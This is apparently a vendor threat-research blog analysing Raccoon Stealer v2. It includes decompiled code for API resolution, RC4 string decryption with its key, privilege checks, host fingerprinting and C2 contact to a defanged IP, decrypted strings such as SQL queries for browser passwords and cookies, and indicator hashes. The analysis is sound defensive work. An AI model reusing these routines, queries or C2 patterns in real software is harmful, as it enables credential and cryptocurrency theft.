New Generation of Raccoon Stealer v2

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Introduction

Raccoon is a malware family that has been sold as **malware-as-a-service** on underground forums since early 2019. In early July 2022, a new variant of this malware was released. The new variant, popularly known as Raccoon Stealer v2, is written in C unlike <u>previous</u> <u>versions</u> which were mainly written in C++.

The Raccoon Malware is a robust stealer that allows stealing of data such as passwords, cookies, and autofill data from browsers. Raccoon stealers also support theft from all cryptocurrency wallets.

In this blog, ThreatLabz will analyze Raccoon Stealer v2 in the exe format, and highlight key differences from its predecessors. The authors of the Raccoon Stealer malware have announced that other formats are available, including DLLs and embedded in other PE files.

Detailed Analysis

Raccoon v2 is an information stealing malware that was first seen on 2022-07-03. The malware is written in C and assembly.

Though we noticed a few new features in the newer variant as mentioned below, the data stealing mechanism is still the same as is seen in its predecessor:

- 1. Base64 + RC4 encryption scheme for all string literals
- 2. Dynamic Loading Of WinAPI Functions

3. Discarded the dependence on Telegram API

We have noticed a significant change in the way list of command and control servers is obtained. The Raccoon Malware v1 was seen abusing the Telegram network to fetch the list of command and control servers, whereas the newer variant has abandoned the use of Telegram. Instead, they use a hardcoded IP address of a threat-actor-controlled server to fetch the list of command and control servers from where the next stage payload (mostly DLLs) is downloaded.

File Information

- Malware Name: Raccoon Stealer v2
- Language: C
- File Type: exe
- File Size: 56832
- MD5: 0cfa58846e43dd67b6d9f29e97f6c53e
- SHA1: 19d9fbfd9b23d4bd435746a524443f1a962d42fa
- SHA256: 022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03

Debug Information

The analyzed file has debug data intact. According to the Debug headers compilation date was Thursday, 26/05/2022 13:58:25 UTC as shown in Figure 1.

	General DC	S Hdr Rich Hd	r File Hdr Optional Hdr Section Hdrs 🖿 Imports 🖿 BaseReloc. 🖿 Debug
* * *			
Offset	Name	Value	Meaning
C390	Characteristics	0	
C394	TimeDateStamp	628F8781	Thursday, 26.05.2022 13:58:25 UTC
C398	MajorVersion	0	
C39A	MinorVersion	0	
C39C	Туре	D	POGO
C3A0	SizeOfData	DC	
C3A4	AddressOfRaw	D7E0	
C3A8	PointerToRawD	C3E0	

Figure 1: Raccoon v2 Debug Headers

We have also seen a change in how Raccoon Stealer v2 hides its intentions by using a mechanism where API names are dynamically resolved rather than being loaded statically. The stealer uses **LoadLibraryW** and **GetProcAddress** to resolve each of the necessary functions (shown in Figure 2). The names of the DLLs and WinAPI functions are stored in the binary as clear text.

```
void Loads_all_imports(void)
Ł
 HMODULE handle Kernel32;
 HMODULE handle shlwapi;
 HMODULE handle Ole32;
 HMODULE handle WinInet;
 HMODULE handle Advapi32;
 HMODULE handle User32;
 HMODULE handle Crypt32;
 HMODULE handle Shell32;
 handle_Kernel32 = LoadLibraryW(L"kernel32.dll");
                    /* checks if null */
 if (handle Kernel32 != (HMODULE)0x0) {
    fun_LoadLibraryW = GetProcAddress(handle_Kernel32, "LoadLibraryW");
   handle shlwapi = (HMODULE) (*fun LoadLibraryW) (L"Shlwapi.dll");
   handle_Ole32 = (HMODULE) (*fun_LoadLibraryW) (L"Ole32.dll");
   handle WinInet = (HMODULE) (*fun LoadLibraryW) (L"WinInet.dll");
   handle Advapi32 = (HMODULE) (*fun LoadLibraryW) (L"Advapi32.dll");
   handle_User32 = (HMODULE) (*fun_LoadLibraryW) (L"User32.dll");
   handle_Crypt32 = (HMODULE) (*fun_LoadLibraryW) (L"Crypt32.dll");
   handle_Shell32 = (HMODULE) (*fun_LoadLibraryW) (L"Shell32.dll");
```

Figure 2: Raccoon v2 dynamic resolution

List Of Loaded DLLs

- 1. kernel32.dll
- 2. Shlwapi.dll
- 3. Ole32.dll
- 4. WinInet.dll
- 5. Advapi32.dll
- 6. User32.dll
- 7. Crypt32.dll
- 8. Shell32.dll

Raccoon v1 did not employ dynamic resolution for used functions, therefore packed samples were often observed in the wild to evade detection mechanisms. Conversely, Raccoon v2 is often delivered unpacked. Figure 3 shows the imported DLLs for raccoon v1.

v 🗁	Imports
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- B ADVAPI32.DLL
- BCRYPT.DLL
- ▶ 🧐 CRYPT32.DLL
- 🕨 🧐 🛛 GDI32.DLL
- GDIPLUS.DLL
- ▶ 🧐 KERNEL32.DLL
- ▶ 🧐 KTMW32.DLL
- OLE32.DLL
- SHELL32.DLL
- SHLWAPI.DLL
- USER32.DLL
- USERENV.DLL
- WINHTTP.DLL

Figure 3: Raccoon Stealer v1 imports (unpacked)

Once resolution of functions is done, the stealer will run its string decryption routine. The routine is simple. RC4 encrypted strings are stored in the sample with base64 encoding. The sample first decodes the base64 encoding and then decrypts the encrypted string with the key 'edinayarossiya'. This routine is followed for all the strings in function string_decryption(). The 'string_decryption' routine is shown in Figure 4.

```
void string_decryption(void)
{
 int iVarl;
 int local 8;
 local 8 = 0;
 iVarl = fun_base64_decode("fVQMox8c", &local_8);
 str tlgrm = rc4 decrypt(&DAT 0040e228,iVarl,&local 8,(int)"edinayarossiya");
 iVarl = fun base64 decode("bE8Yjg==",&local 8);
 DAT_0040ebdc = rc4_decrypt(&DAT_0040e228,iVar1,&local_8,(int)"edinayarossiya");
 iVarl = fun base64 decode("bkoJoy0=", slocal 8);
 DAT_0040ea60 = rc4_decrypt(&DAT_0040e228,iVarl,&local_8,(int)"edinayarossiya");
 iVar1 = fun_base64_decode("LEtihSAW6eunMDV+Aes3rVhAClFoaQM=", slocal_8);
 DAT_0040ebd4 = rc4_decrypt(&DAT_0040e228,iVarl,&local_8,(int)"edinayarossiya");
 iVar1 = fun_base64_decode("XGon61cwprfREQZ+AehCnwI2Q30+EA==", slocal 8);
 str_URL:%s = rc4_decrypt(&DAT_0040e228,iVar1,&local_8,(int)"edinayarossiya");
 iVarl = fun_base64_decode("ADFOtVtjiZGI", slocal_8);
 DAT_0040eaa4 = rc4_decrypt(&DAT_0040e228,iVar1,&local_8,(int)"edinayarossiya");
 iVarl = fun_base64_decode("ABVLnR0gzY7neRx+Aeg=", slocal_8);
 DAT 0040ec5c = rc4 decrypt(&DAT 0040e228,iVarl,&local 8,(int)"edinayarossiya");
```

Figure 4: Raccoon v2 String Decryption Routine

Previous versions of Raccoon Stealer did not encrypt string literals other than hard coded IP addresses. The Raccoon v2 variant overcomes this by encrypting all the plain text strings. Several of the plaintext strings of Raccoon v1 are shown in Figure 5.

CreateDirectoryTransactedA	
DeleteFileTransactedA	
LocalAlloc	
LoadLibraryA	
GetProcAddress	
GetProcessHeap	
FreeLibrary	
CopyFileTransactedA	
GetDriveTypeA	
SetFileTime	
SetFilePointer	
GetCurrentDirectoryA	
SetCurrentDirectoryA	
LocalFileTimeToFileTime	
GetFileAttributesA	
CreateFileAAPLDLL	
CloseHandle32.DLL	
SystemTimeToFileTime	
CreateDirectoryA	
GetVersionExW	
GetFileSize	
GetEnvironmentVariableA	
WaitForSingleObject	
GetModuleHandleA	
GetLocaleInfoA	
RemoveDirectoryTransactedA	
GetUserDefaultLCID	
CreateThread	
GetLastError	
DeleteFileA	
GetModuleFileNameA	
GetCurrentProcess	
GetSystemPowerStatus	

Figure 5: Plaintext Strings In Raccoon v1

After manual decryption of the Raccoon v1 sample strings, the following (Figure 6 and Figure 7) strings were obtained in plaintext format.

55 wlts 56 ldr_ 57 scrnsht 58 sstmnfo 59 token: 60 nss3.dll 61 sqlite3.dll 62 SOFTWARE\Microsoft\Windows NT\CurrentVersion 63 PATH 64 ProductName 65 Web Data 66 sqlite3_prepare_v2 67 sqlite3_open16 68 sqlite3 close 69 sqlite3_step 70 sqlite3 finalize 71 sqlite3_column_text16 72 sqlite3_column_bytes16 73 sqlite3_column_blob 74 SELECT origin_url, username_value, password_value FROM logins 75 SELECT host_key, path, is_secure , expires_utc, name, encrypted_value FROM cookies 76 SELECT name, value FROM autofill 77 pera-78 Stable 79 SELECT host, path, isSecure, expiry, name, value FROM moz_cookies 80 SELECT fieldname, value FROM moz formhistory 81 cookies.sqlite 82 machineId= 83 &configId= 84 "encrypted_key":" 85 stats_version":" 86 Content-Type: application/x-object 87 Content-Disposition: form-data; name="file"; filename=" 88 GET 89 POST 90 Low 91 MachineGuid 92 image/jpeg 93 GdiPlus.dll 94 Gdi32.dll 95 GdiplusStartup 96 GdipDisposeImage 97 GdipGetImageEncoders 98 GdipGetImageEncodersSize 99 GdipCreateBitmapFromHBITMAP 100 GdipSaveImageToFile 101 BitBlt

Figure 6: Raccoon v2 Decrypted Strings



Figure 7: Raccoon v2 Decrypted Strings

The command and control IP addresses are saved in the malware and follow the same decryption routine but have a different key, **59c9737264c0b3209d9193b8ded6c127**. The IP address contacted by the malware is '**hxxp:**//**51(.)195(.)166(.)184**/'. The decryption routine

is shown in Figure 8.

Figure 8: IP Address Decryption Raccoon v2

Decrypting Command and Control IP Address

The encrypted command and control IP Address can be easily decrypted by using public tools such CyberChef as shown in Figure 9.

Recipe		8 🖿 i	Input	start: 9 end: 28 length: 19	length: 33 lines: 1	+		€	î =
From Base64		⊘ 11	"XVHmGYV5 <mark>EH1pv0C0w/cmant1/o0</mark> 9aw==						
Alphabet A-Za-z0-9+/=		-							
Remove non-alphabet chars	Strict mode								
RC4		⊘ 11							
Passphrase 59c9737264c0b3209d9193b8ded6	c127	UTF8 🕶							
Input format Output Latin1 Latin	format 1								
				start: 7	time: 7ms		_		
			Output	end: 21 length: 14	length: 22 lines: 1	•		ţţ.	n 0
			http://51.195.166.184/						

Figure 9: Raccoon v2 IP Address (via cyberchef utils)

This technique is common between both versions of the malware. Figure 10 shows the same routine employed in Raccoon v1.

Figure 10: Raccoon v1 setting up overhead before IP Address decryption

Once all the overhead of setting up the functions and decryption of the strings is done, the malware will perform some checks before contacting the command and control server to download malicious DLLs and exfiltrate information.

Overhead Before Exfiltration

Before executing the core of the malware, certain checks are made to understand the execution environment. This includes making sure the malware isn't already running on the machine. Further the malware also checks if it's running as NT Authority/System.

The malware gets a handle on mutex and checks if it matches a particular value or not. If it matches, the malware continues execution.

Value: 8724643052.

This technique is used to make sure only one instance of malware is running at one time. Figure 11 depicts the Mutex check and creation for Raccoon v2, while Figure 12 depicts the similar procedure used in Raccoon v1.

Figure 11: Raccoon v2 Mutex Check

```
do {
    pbVarl = (byte *)((int)&local_15 + uVar3 + 1);
    *pbVarl = *pbVarl ^ 0x18;
    uVar3 = uVar3 + 1;
} while (uVar3 < 0xf);
local_5 = 0;
FUN_004340da();
lpName = FUN_00433ad6();
pvVar2 = OpenMutexA(0x1f0001,0,lpName);
if (pvVar2 == (HANDLE)0x0) {
    CreateMutexA((LPSECURITY_ATTRIBUTES)0x0,0,lpName);
}
return pvVar2 == (HANDLE)0x0;</pre>
```

Figure 12: Raccoon v1 Mutex Check

By retrieving the Process token and matching the text "**S-1-5-18**," as shown in Figure 13, the malware determines if it is or is not operating as the **SYSTEM** user.

```
pcVarl = fun_OpenProcessToken;
 local 8 = 0;
 uVar2 = (*fun_GetCurrentProcess)(8, slocal_c);
 iVar3 = (*pcVar1)(uVar2);
 if ((iVar3 != 0) &&
    ((iVar3 = (*fun GetTokenInformation)(local c,1,0,local 8, slocal 8), iVar3 != 0 ||
     (iVar3 = (*fun_GetLocaleInfoW)(), iVar3 == 0x7a)))) {
   puVar4 = (undefined4 *) (*fun_GetGlobalAlloc) (0x40,local_8);
   iVar3 = (*fun GetTokenInformation) (local c,l,puVar4,local 8, clocal 8);
   if (iVar3 != 0) {
     local_10 = 0;
     iVar3 = (*ConvertSidToStringSidW) (*puVar4, &local_10);
     if (iVar3 != 0) {
                    /* S-1-5-18 => System (or LocalSystem) */
       iVar3 = (*fun_lstrcmpiW)(L"S-1-5-18",local_10);
       (*fun_Globalfree) (puVar4);
       return iVar3 == 0;
      }
   }
 }
 return false;
1
```

Figure 13: Raccoon v2 Enumerating Process Token

If running as a SYSTEM user, the enumeration of all the running processes is done with the help of **fun_CreateToolhelp32Snapshot**. Otherwise, the malware moves forward without the enumeration. Figure 14 shows the **'enumerate_processes()'** function being called while Figure 15 shows the malware iterating over the Processes.

```
if_admin = check_system_privsd();
if (CONCAT31(extraout_var,if_admin) != 0) {
    enumerate_processes();
}
```

Figure 14: Raccoon v2 Enumerate Process

```
int enumerate processes (void)
{
 undefined4 uVarl;
 int iVar2;
 undefined4 ProcessList [139];
 uVar1 = (*fun CreateToolhelp32Snapshot)(2,0);
 ProcessList[0] = 0x22c;
 iVar2 = (*fun Process32First) (uVar1, ProcessList);
 if (iVar2 != 0) {
   do {
     iVar2 = (*fun Process32Next) (uVar1, ProcessList);
   } while (iVar2 != 0);
   iVar2 = 1;
 }
 return iVar2;
}
```

Figure 15: Raccoon v2 Iterating Process Struct

Fingerprinting Host

Once the malware is aware of the environment in which it's running, it starts to fingerprint the host. This malware uses functions such as:

- 1. RegQueryValueExW for fetching machine ID
- 2. GetUserNameW

Figure 16 depicts the malware retrieving the Machine ID from the registry key **"SOFTWAREMicrosoftCryptography"** via the **RegQueryKeyExW** and **RegQueryValueExW** functions. Figure 17 depicts malware using the **GetUserNameW** function to retrieve a username.

```
char * query_cyrptography_reg(void)
{
 char *reg_value;
 int iVarl;
 int iVar2;
 undefined4 local_10;
 undefined4 local c;
 undefined4 local_8;
 reg_value = (char *) (*fun LocalAlloc) (0x40, 0x208);
 local_c = 0x104;
 local_10 = 1;
 iVarl = (*fun_RegOpenKeyExW) (0x80000002,L"SOFTWARE\\Microsoft\\Cryptography",0,0x20119,&local_8);
 iVar2 = (*fun_RegQueryValueExW) (local_8, DAT_0123ea70, 0, clocal_10, reg_value, clocal_c);
 if ((iVarl != 0) || (iVar2 != 0)) {
    (*fun_RegCloseKey) (local_8);
 }
 return reg_value;
}
```

Figure 16: Raccoon v2 Fetching MachineID

```
LPWSTR get_username(void)
{
   LPWSTR lpBuffer;
   DWORD local_8;
   local_8 = 0x101;
   lpBuffer = (LPWSTR)(*fun_LocalAlloc)(0x40,0x202);
   GetUserNameW(lpBuffer, &local_8);
   return lpBuffer;
}
```

Figure 17: Raccoon v2 Fetching Username

Memory		
Virtual: @eax	Display format: Byte	V Previous Next
016319d0	00 00 00 00 00 00 00 0	G
016319e2 00 00 00 00 00 00 00 00 0 016319FL 00 00 00 00 00 00 00 0	0 00 00 00 00 00 00 00 00 00 00 00 00 0	9 G
01631a06 00 00 00 00 00 00 00 00 00	0 00 00 00 00 00 00 00 00 00 00 0	9
01631a18 00 00 00 00 00 00 00 00 0	0 00 00 00 00 00 00 00 00 00 00 0	0
01631a2a 00 00 00 00 00 00 00 00 00 0	00 00 00 00 00 00 00 00 00 00 0 00 00 00 00 00 00 00 00 00 0	0 A
01631a4e 00 00 00 00 00 00 00 00 0	0 00 00 00 00 00 00 00 00 00 0	0
01631a60 00 00 00 00 00 00 00 00 00	0 00 00 00 00 00 00 00 00 00 00 00 00 0	0 0
01631a84 00 00 00 00 00 00 00 00	0 00 00 00 00 00 00 00 00 00 00 0	0
01631a96 00 00 00 00 00 00 00 00 0	0 00 00 00 00 00 00 00 00 00 00 0	9
01631aa8 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00 0 00 00 00 00 00 00 00 00 00 0	9
01631acc 00 00 00 00 00 00 00 00 0	0 00 00 00 00 00 00 00 00 00 0	0
01631ade 00 00 00 00 00 00 00 00 00	0 00 00 00 00 00 00 00 00 00 00 00 00	0
01631b02 00 00 00 00 00 00 00 00 00	0 00 00 00 00 00 00 00 00 00 00 00 00 0	0
01631b14 00 00 00 00 00 00 00 00 00	0 00 00 00 00 00 00 00 00 00 0	9
01631D26 00 00 00 00 00 00 00 00		U
Memory Processes and Threads Locals	Calls Memory	

Figure 18: Raccoon v2: Username Buffer

After all this is done, the malware will enumerate information such as **MACHINE ID** and **username** and then send the data to the remote command and control server.

For this purpose, the malware creates a char string and starts appending these values to it. It starts by adding machine id and username. Figure 19 shows the built payload in buffer.

0:000> d	007d0ed0	L50			
007d0ed0	0061006d	00680063	006e0069	00490065	m.a.c.h.i.n.e.I.
007d0ee0	003d 👥 👘				d.=.
007d0ef0					
007d0f00					
007d0f10					
007d0f20)49 (;	
007d0f30				0063	.8.0.0
007d0f40	0066006e	00670069	00640049	0035003d	n.f.i.g.I.d.=.5.
007d0f50	00630039	00370039	00370033	00360032	9.c.9.7.3.7.2.6.
007d0f60	00630034	00620030	00320033	00390030	4.c.0.b.3.2.0.9.
007d0f70	00390064	00390031	00620033	00640038	d.9.1.9.3.b.8.d.
007d0f80	00640065	00630036	00320031	00000037	e.d.6.c.1.2.7
007d0f90	00000000	00000000	00000000	00000000	
007d0fa0	00000000	00000000	00000000	00000000	
007d0fb0	00000000	00000000	00000000	00000000	
007d0fc0	00000000	00000000	00000000	00000000	
007d0fd0	00000000	00000000	00000000	00000000	
007d0fe0	00000000	00000000	00000000	00000000	

Figure 19: Raccoon v2: Fingerprinting Payload

Next, it generates and appends **configId** which is the rc4 encryption key.

machineId=<MachineGuid>|<UserName>&configId=<RC4 key>

Communications with Command and Control

Communication with command and control takes place over plain text http protocol. The previously decrypted IP address **hxxp://51(.)195(.)166(.)184/** is used for command and control communication.

The malware contacts the list of previously decrypted command and control IP addresses (**stored in local_3c**). Since this malware only contains one command and control IP Address, the post request is only made to one as seen in Figure 20.

```
/* entire c2 communication */
iter_i = 0;
do {
 exfil str UTF16 = (short *)coverts to utf16(local 3c[iter i]);
  reuse_var = (*fun_lstrlenW) (exfil_str_UTF16);
                  /* adds / to end */
  if (exfil_str_UTF16[reuse_var + -1] != 0x2f) {
   exfil str UTF16 = fun concat((int)exfil str UTF16,(int)sDAT 0123d5c4);
  1
 psVar2 = (short *) contact c2(exfil str UTF16, content headers, local c, (char *) clocal 2
 reuse_var = (*fun lstrlenW) (psVar2);
  if (0x3f < reuse var) {</pre>
   exilf str = (short *) (*fun StrCpyW) (exilf str,exfil str UTF16);
    (*fun_LocalFree) (exfil_str_UTF16);
   break;
  1
  (*fun LocalFree)();
  if (psVar2 == (short *)0x0) {
    (*fun_LocalFree)(0);
  }
 iter i = iter i + 1;
} while (iter_i < 5);</pre>
```

Figure 20: Raccoon v2: Command and Control communication

Command and Control URL

d:000> d	Qesi				
007e2c10	00740068	00700074	002f003a	0035002F	h.t.t.p.:././.5.
007e2c20	002e0031	00390031	002e0035	00360031	11.9.51.6.
007e2c30	002e0036	00380031	002f0034	00000000	61.8.4./
007e2c40	00000000	00000000	00000000	abababab	
007e2c50	abababab	00000000	00000000	00000000	
007e2c60	cc115e19	00003c01	007f0540	007e1b48	.^<@H.~.
007e2c70	feeefeee	feeefeee	feeefeee	feeefeee	
007e2c80	feeefeee	feeefeee	feeefeee	feeefeee	

Figure 21: Raccoon v2 URL in buffer

Request Headers

0:000> d	00cc1198 L	.50				
00cc1198	006f0043	0074006e	006e0065	002d0074	C.o.n.t.e.n.t	
00cc11a8	00790054	00650070	0020003a	00700061	Т.у.р.е.:а.р.	
00cc11b8	006c0070	00630069	00740061	006F0069	p.l.i.c.a.t.i.o.	
00cc11c8	002f006e	002d0078	00770077	002d0077	n./.xw.w.w	
00cc11d8	006f0066	006d0072	0075002d	006c0072	f.o.r.mu.r.1.	
00cc11e8	006e0065	006F0063	00650064	003b0064	e.n.c.o.d.e.d.;.	
00cc11f8	00630020	00610068	00730072	00740065	.c.h.a.r.s.e.t.	
00cc1208	0075003d	00660074	0038002d	000a 000d	=.u.t.f8	
00cc1218	000a 000d	000a 000d	00000000	00000000		
00cc1228	00000000	00000000	00000000	00000000		
00cc1238	00000000	00000000	00000000	00000000		
00cc1248	00000000	00000000	00000000	00000000		
00cc1258	00000000	00000000	00000000	00000000		
00cc1268	00000000	00000000	00000000	00000000		
00cc1278	00000000	00000000	00000000	00000000		
00cc1288	00000000	00000000	00000000	00000000		
00cc1298	00000000	00000000	00000000	00000000		
00cc12a8	00000000	00000000	00000000	00000000		
00cc12b8	00000000	00000000	00000000	00000000		
00cc12c8	00000000	00000000	00000000	00000000		

Figure 22: Raccoon v2 Request Headers

Once the request has been made, the malware checks if the content body length is zero or not. If no content is received from command and control or the content body length is zero, the malware exits. This check is made because the exfiltration mechanism of the malware requires command and control to respond with a list IP Addresses to exfiltrate data to. In Figure 23, this condition can be seen along with the **'ExitProcess()**' function call.

```
returns path SHGetFolderPathW plus low((char *)&content headers curdir);
                 /* if this doesnt pass, malware exists
                    based on response from c2 */
if (response body != (short *)0x0) {
 FUN 012383ce((char *)response body,content headers curdir);
 iVar4 = 0;
 reuse_var = (*fun_StrStrW) (response_body,DAT_0123ec00);
 if (reuse_var == 0) {
   (*fun ExitProcess) (0xfffffff);
 1
 else {
   iVar4 = reuse_var - (int)response_body >> 1;
 }
 local_c = (char *) (*fun_LocalAlloc) (0x40,0x100);
 reuse_var = (*fun_lstrlenW) (response body);
                  /* useless */
 reuse_var = FUN_0123a4bc((int)response_body, slocal_c, iVar4 + 6, reuse_var);
 if (reuse var == 0) {
   (*fun ExitProcess) (0xfffffffe);
 }
 exilf_str = fun_concat((int)exilf_str,(int)local_c);
 (*fun LocalFree) (local_c);
 machineid cpy = (*fun LocalAlloc) (0x40,0x208);
```

Discarded the dependence on Telegram bot

The Raccoon v1 relied on the Telegram Bot API description page to fetch command and control IP addresses and establish connections. The recent malware variants (v2) from this family have started to hard-code IP addresses in the binary to achieve this task. Raccoon Malware v2 uses 5 hard coded IP addresses and iterates over them.

Data Exfiltration

The malware relies on response from command and control server to down the required DLLs and decides on the next course of action.

As of the writing of this blog the command and control IP has died, thus analysis of traffic towards the host is not possible. ThreatLabz has previously observed that the command and control server provides information on where to download additional payloads from and which IP Address to use for further communications.



Figure 24: Raccoon v2 pinging extracted IP Address

Grepped DLLs



Figure 25: Raccoon v2 DLLs that are downloaded

The malware uses a WINAPI call to **SHGetFolderPathW** to get a path to **C:\Users\ <User>\AppData** and appends "Local" to it and uses it as the path to store stolen information before sending it to the command and control.

d:000> d	00d02c88				
00d02c88	003a0043	0055005c	00650073	00730072	C.:.\.U.s.e.r.s.
00d02c98	0049 (Λ
00d02ca8	00700041	00440070	00740061	005c0061	A.p.p.D.a.t.a.\.
00d02cb8	006F004c	00610063	0000006c	00000000	L.o.c.a.1
00d02cc8	00000000	00000000	00000000	00000000	
00d02cd8	00000000	00000000	00000000	00000000	
00d02ce8	00000000	00000000	00000000	00000000	
00d02cf8	00000000	00000000	00000000	00000000	

Figure 26: Raccoon v2 Storage Path In Buffer

Indicators Of Compromise

IP contacted by the analyzed sample of Raccoon v2.

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List Of Other IPs that act as an C2 for other samples can be found here.

Downloaded DLLs

- 1. nss3.dll
- 2. sqlite3.dll
- 3. GdiPlus.dll
- 4. Gdi32.dll

Path Used By the Malware

1. C:\Users\<USERNAME>\AppData\Local

Other samples observed in the wild of Raccoon v2.

0123b26df3c79bac0a3fda79072e36c159cfd1824ae3fd4b7f9dea9bda9c7909
 022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03
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 2106b6f94cebb55b1d55eb4b91fa83aef051c8866c54bb75ea4fd304711c4dfc
 263c18c86071d085c69f2096460c6b418ae414d3ea92c0c2e75ef7cb47bbe693
 27e02b973771d43531c97eb5d3fb662f9247e85c4135fe4c030587a8dea72577
 2911be45ad496dd1945f95c47b7f7738ad03849329fcec9c464dfaeb5081f67e
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 516c81438ac269de2b632fb1c59f4e36c3d714e0929a969ec971430d2d63ac4e
 5d66919291b68ab8563deedf8d5575fd91460d1adfbd12dba292262a764a5c99
 62049575053b432e93b176da7afcbe49387111b3a3d927b06c5b251ea82e5975
 7299026b22e61b0f9765eb63e42253f7e5d6ec4657008ea60aad220bbc7e2269
 7322fbc16e20a7ef2a3188638014a053c6948d9e34ecd42cb9771bdcd0f82db0

- 15. 960ce3cc26c8313b0fe41197e2aff5533f5f3efb1ba2970190779bc9a07bea63
- 16. 99f510990f240215e24ef4dd1d22d485bf8c79f8ef3e963c4787a8eb6bf0b9ac
- 17. 9ee50e94a731872a74f47780317850ae2b9fae9d6c53a957ed7187173feb4f42
- 18. bd8c1068561d366831e5712c2d58aecb21e2dbc2ae7c76102da6b00ea15e259e
- 19. c6e669806594be6ab9b46434f196a61418484ba1eda3496789840bec0dff119a
- 20. e309a7a942d390801e8fedc129c6e3c34e44aae3d1aced1d723bc531730b08f5
- 21. f7b1aaae018d5287444990606fc43a0f2deb4ac0c7b2712cc28331781d43ae27

Conclusion

Raccoon Stealer sold as Malware-as-a-Service has become popular over the past few years, and several incidents of this malware have been observed. The Authors of this malware are constantly adding new features to this family of malware. This is the second major release of the malware after the first release in 2019. This shows that the malware is likely to evolve and remain a constant threat to organizations.

Zscaler coverage

We have ensured coverage for the payloads seen in these attacks via advanced threat signatures as well as our advanced cloud sandbox.

SANDBOX DETAIL REPORT Report ID (MD5): 0CFA58846E43DD67B6D9F29E97F6	High Risk Moderate Risk Low Risk Analysis Performed: 7/18/2022 3:20:31 PM	Ə File Type: exe
CLASSIFICATION	MACHINE LEARNING ANALYSIS	MITRE ATT&CK
Class TypeThreat ScoreMalicious84Category1000Malware & Botnet1000	Malicious - High Confidence	This report contains 3 ATT&CK techniques mapped to 2 tactics
VIRUS AND MALWARE	SECURITY BYPASS	NETWORKING
No known Malware found	 May Try To Detect The Virtual Machine To Hinder Analysis 	 Performs Connections To IPs Without Corresponding DNS Lookups Tries To Connect To HTTP Servers All HTTP Servers Contacted By The Sample Do Not Resolve URLs Found In Memory Or Binary Data

Figure 27: Zscaler Sandbox Detection

Zscaler's multilayered cloud security platform detects indicators at various levels, as shown below:

Win32.PWS.Raccoon